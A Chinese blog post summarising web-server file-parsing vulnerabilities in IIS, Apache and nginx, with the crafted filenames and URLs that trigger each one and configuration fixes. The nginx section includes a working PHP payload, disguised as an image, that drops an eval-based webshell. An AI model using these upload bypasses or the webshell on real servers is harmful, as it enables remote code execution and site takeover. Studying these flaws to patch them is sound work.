典型漏洞汇总-解析漏洞

冷不防 2022-10-17 10:43 315阅读 0赞

# 典型漏洞汇总-解析漏洞 #

## 总览说明 ##

服务器解析漏洞算是历史比较悠久了，但如今依然广泛存在。在此记录汇总一些常见服务器（WEB server）的解析漏洞，比如 IIS6.0、IIS7.5、apache、nginx 等方便以后回顾温习。  
![20210522004653][]  
from:http://thief.one/2016/09/21/%E6%9C%8D%E5%8A%A1%E5%99%A8%E8%A7%A3%E6%9E%90%E6%BC%8F%E6%B4%9E/

## 归纳总结 ##

### （一）IIS5.x-6.x 解析漏洞 ###

使用 iis5.x-6.x 版本的服务器，大多为 windows server 2003，网站比较古老，开发语句一般为 asp；该解析漏洞也只能解析 asp 文件，而不能解析 aspx 文件。

目录解析(6.0)  
形式：www.xxx.com/xx.asp/xx.jpg  
原理: 服务器默认会把.asp，.asa 目录下的文件都解析成 asp 文件。

文件解析  
形式：www.xxx.com/xx.asp;.jpg  
原理：服务器默认不解析;号后面的内容，因此 xx.asp;.jpg 便被解析成 asp 文件了。

解析文件类型  
IIS6.0 默认的可执行文件除了 asp 还包含这三种 :

/test.asa  
/test.cer  
/test.cdx

修复方案 1.目前尚无微软官方的补丁，可以通过自己编写正则，阻止上传 xx.asp;.jpg 类型的文件名。 2.做好权限设置，限制用户创建文件夹。

### （二）apache 解析漏洞 ###

漏洞原理  
　　 Apache 解析文件的规则是从右到左开始判断解析,如果后缀名为不可识别文件解析,就再往左判断。比如 test.php.owf.rar “.owf”和”.rar” 这两种后缀是 apache 不可识别解析,apache 就会把 wooyun.php.owf.rar 解析成 php。

漏洞形式  
www.xxxx.xxx.com/test.php.php123

其余配置问题导致漏洞  
（1）如果在 Apache 的 conf 里有这样一行配置 AddHandler php5-script .php 这时只要文件名里包含.php 即使文件名是 test2.php.jpg 也会以 php 来执行。  
（2）如果在 Apache 的 conf 里有这样一行配置 AddType application/x-httpd-php .jpg 即使扩展名是 jpg，一样能以 php 方式执行。

修复方案  
1.apache 配置文件，禁止.php.这样的文件执行，配置文件里面加入  
`<Files ~ “.(php.|php3.)”>`  
Order Allow,Deny  
Deny from all  
2.用伪静态能解决这个问题，重写类似.php.\*这类文件，打开 apache 的 httpd.conf 找到 LoadModule rewrite\_module modules/mod\_rewrite.so  
把\#号去掉，重启 apache,在网站根目录下建立.htaccess 文件,代码如下:

<IfModule mod_rewrite.c>
    RewriteEngine On
    RewriteRule .(php.|php3.) /index.php
    RewriteRule .(pHp.|pHp3.) /index.php
    RewriteRule .(phP.|phP3.) /index.php
    RewriteRule .(Php.|Php3.) /index.php
    RewriteRule .(PHp.|PHp3.) /index.php
    RewriteRule .(PhP.|PhP3.) /index.php
    RewriteRule .(pHP.|pHP3.) /index.php
    RewriteRule .(PHP.|PHP3.) /index.php
    </IfModule>

### （三）nginx 解析漏洞 ###

漏洞原理  
　　 Nginx 默认是以 CGI 的方式支持 PHP 解析的，普遍的做法是在 Nginx 配置文件中通过正则匹配设置 SCRIPT\_FILENAME。当访问www.xx.com/phpinfo.jpg/1.php这个URL时，$fastcgi\_script\_name会被设置为“phpinfo.jpg/1.php”，然后构造成SCRIPT\_FILENAME传递给PHP CGI，但是 PHP 为什么会接受这样的参数，并将 phpinfo.jpg 作为 PHP 文件解析呢?这就要说到 fix\_pathinfo 这个选项了。 如果开启了这个选项，那么就会触发在 PHP 中的如下逻辑：

PHP 会认为 SCRIPT\_FILENAME 是 phpinfo.jpg，而 1.php 是 PATH\_INFO，所以就会将 phpinfo.jpg 作为 PHP 文件来解析了

漏洞形式  
www.xxxx.com/UploadFiles/image/1.jpg/1.php  
www.xxxx.com/UploadFiles/image/1.jpg%00.php  
www.xxxx.com/UploadFiles/image/1.jpg/%20\\0.php

xxx.jpg%00.php (Nginx <8.03 空字节代码执行漏洞)

另外一种手法：上传一个名字为 test.jpg，以下内容的文件。

<?PHP fputs(fopen('shell.php','w'),'<?php eval($\_POST\[cmd\])?>');?>

然后访问 test.jpg/.php,在这个目录下就会生成一句话木马 shell.php。

使用 phpstudy 测试，默认配置即可（虽然默认的 cgi.fix\_pathinfo 是注释状态，但的确默认值为 1）。nginx 版本 1.11.5 （可见并不是）

修复方案 1.修改 php.ini 文件，将 cgi.fix\_pathinfo 的值设置为 0; 2.在 Nginx 配置文件中添加以下代码：

if ( $fastcgi\_script\_name ~ …\*/.\*php ) \{  
return 403;  
\}  
这行代码的意思是当匹配到类似 test.jpg/a.php 的 URL 时，将返回 403 错误代码。

### （四）IIS7.5 解析漏洞 ###

IIS7.5 的漏洞与 nginx 的类似，都是由于 php 配置文件中，开启了 cgi.fix\_pathinfo，而这并不是 nginx 或者 iis7.5 本身的漏洞。

PS: a.aspx.a;.a.aspx.jpg…jpg